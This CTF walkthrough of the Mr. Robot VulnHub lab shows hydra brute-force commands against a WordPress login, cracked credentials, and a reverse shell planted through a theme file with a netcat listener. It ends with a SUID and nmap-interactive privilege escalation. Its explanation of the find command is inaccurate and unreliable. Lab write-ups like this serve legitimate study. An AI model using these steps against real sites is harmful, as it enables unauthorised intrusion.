Mr. Robot

Mr.
Robot (VulnHub) Virtual Machine Write-up

By Shahrukh Iqbal Mirza
Overview:
Mr. Robot is a vulnerable virtual machine provided by VulnHub. Mr. Robot is also a TV series by the USA
Network (currently playing season 4), and this VM is based upon that TV show.
The creator of this VM is Leon Johnson, and this VM was released on June 28th, 2016.
There is a total of three flags (or keys) hidden throughout the VM, and the goal is to find all three keys,
and ultimately own the machine.
Difficulty level: Beginner – Intermediate
Exploitation Techniques: Enumeration, Brute Forcing
Exploited Vulnerabilities: Information Disclosure, Rate Limiting, File Upload, Unpatched System Services
Pentesting Phases Covered: Information Gathering/Discovering the Target; Enumeration and Scanning;
Exploitation; Privilege Escalation.
Tools Used: arp-scan, nmap, nikto, hydra, netcat.

Information Gathering/Discovering the Target:
Using arp-scan to scan the ethernet interface for available hosts on the network.
Command used: arp-scan -l
IP of the target discovered: 192.168.178.138
Scanning and Enumeration:

Nmap:
Firing up nmap to scan the target for open ports and enumerate the services and also check for
potential vulnerabilities.
Command used: nmap -sC -sV -O 192.168.178.138
Results:
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
MAC Address: 00:0C:29:0C:86:1B (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
Enumerating the Web Application:
Since port 80 is open, first let’s check out what is running on the web server. Looking up port 80, got an
animation from the Mr. Robot TV series. There were five commands that could be used there, because
the application was a kind of terminal.
My first step was to check out the source code of the web application, but that revealed no information
whatsoever.
I tried all the commands one-by-one but got no fruitful results.
Nikto:
Next step was to fire up nikto to check the application was potential vulnerabilities.
Command used: nikto -h 192.168.178.138
Results:
Nikto enumerated a WordPress installation, and a WordPress login page.
Dirb:
Command used: dirb http://192.168.178.138
Results: dirb enumerated a directory ‘0’ which was a WordPress user blog page, which confirmed the
existence of WordPress. Dirb also enumerated the ‘robots.txt’ file.
Key-1:
Upon visiting the robots.txt, we find a wordlist and one of the three keys.
Brute-Forcing:
Username Enumeration: Using hydra to brute-force the usernames. Since we had enumerated a
wordlist from the robots.txt file; we’ll be using the same wordlist for both the username enumeration
and then the password brute-forcing.
Command used: hydra -L /root/Desktop/mr_robot/sorted_dictionary.txt -p
whatever 192.168.178.138 http-post-form '/wp-
login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'
Results:
At this point we now have a username ‘elliot.’ Let me now explain, what hydra did: the switch of ‘-L’
asked hydra to use the provided wordlist as a username list, and I specified the password as ‘whatever’
because at this time, we are only interested in finding valid usernames. The ‘http-post-form’ switch
allowed hydra to take the post request parameter; I used BurpSuite to capture the post request and
from there I went on to provide the post request to hydra; next ‘:F’ allowed the tool to look for the error
of ‘Invalid Username.’ WordPress has this feature that it allows username disclosure, upon providing a
valid username against an incorrect password. Also, there was a lack of rate limiting also, which allowed
us to brute-force usernames, and the passwords afterwards.
Password Brute-Forcing:
We’ll use hydra and the same command, and the same dictionary, to find out the valid password for the
user ‘elliot.’
Command used: hydra -l elliot -P

/root/Desktop/mr_robot/sorted_dictionary.txt 192.168.178.138 http-
post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is
incorrect’
Results:
Now we have the valid credentials (elliot:E28-0652) to log in to WordPress and then we’ll try to
upload our reverse shell.
Exploitation:
Logging in to WordPress, now is the time to upload our shell and try to get a reverse connection back to
our machine.
Now there are two ways to upload our shell; one is to upload a malicious plugin using Metasploit and
get a reverse connection back as a meterpreter shell, second is to edit a theme file, and poison it with
our shell code, and then get a reverse connection back on netcat.
Since I am preparing for my OSCP exam, I didn’t want to use Metasploit, so I decided to poison a theme
file with my shellcode.
On the WordPress dashboard, I went into Appearance, and then editor, there was a 404.php template
available, I decided to make use of that.
Let’s edit the template, removing the pre-existing code, and writing our own shell code, in place of it (I
used the php reverse shell from pentestmonkey). Saving the changes, time to get the reverse
connection back onto our machine.
Let’s start our listener, and from the browser let’s visit the edited template.
Listener: nc -lvp 443
URL: 192.168.178.138/404.php
And we have our session, let’s get into a tty shell, by spawning a python pseudo-terminal.
Command used: python -c ‘import pty; pty.spawn(“/bin/bash”)’

While enumerating the box, I came across a directory named ‘robot’ in the ‘home’ directory. Inside the
directory, there was the second key and an md5 password hash. Tried to read the second key, but got
permission denied. Looks like the robot user, can only read the second key. Fortunately, we have the
md5 password file. On googling a hash cracker, I visited a site and it cracked a hash and gave us the
password.
Time to switch users, and read the second key.
Command used: su robot ; password: abcdefghijklmnopqrstuvwxyz
And we can successfully read the second key.
Time to find out the final key, and own the box.
Privilege Escalation:
Looking for a kernel exploit, gave us no results; also, we do not have permissions to run anything with
sudo. Let’s enumerate the box further and look for any SUID and SGID files, that has a weakness that we
can exploit to our advantage.
Command used: find / -perm +6000 -type d 2>/dev/null
This command uses the ‘find’ utility of Linux to find the services which have 600 () permissions and list
their output as a directory path, and redirect any errors occurring to /dev/null device, which is a special
type of device that discards the information written to it.
Results:
Found nmap, time to enumerate nmap version, because nmap runs as root and we can use its
interactive mode (if an older version of nmap is running) to escalate our privileges. Nmap interactive
mode allows command execution from within itself too, and it runs as root.
Now we see the box running an older version of nmap. Let’s use the interactive mode to get root access,
and read the final key.
And we have the final key, and have successfully owned the machine.

Mr. Robot

Uploaded by

Copyright:

Available Formats

Mr. Robot

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Mr. Robot

Uploaded by

Copyright:

Available Formats

Mr.

Robot (VulnHub) Virtual Machine Write-up

Difficulty level: Beginner – Intermediate

Exploitation Techniques: Enumeration, Brute Forcing

Tools Used: arp-scan, nmap, nikto, hydra, netcat.

Command used: arp-scan -l

IP of the target discovered: 192.168.178.138

Scanning and Enumeration:

Command used: nmap -sC -sV -O 192.168.178.138

Enumerating the Web Application:

I tried all the commands one-by-one but got no fruitful results.

Command used: nikto -h 192.168.178.138

Command used: dirb http://192.168.178.138

Command used: hydra -l elliot -P

Listener: nc -lvp 443

Command used: python -c ‘import pty; pty.spawn(“/bin/bash”)’

Time to switch users, and read the second key.

Command used: su robot ; password: abcdefghijklmnopqrstuvwxyz

And we can successfully read the second key.

Command used: find / -perm +6000 -type d 2>/dev/null

You might also like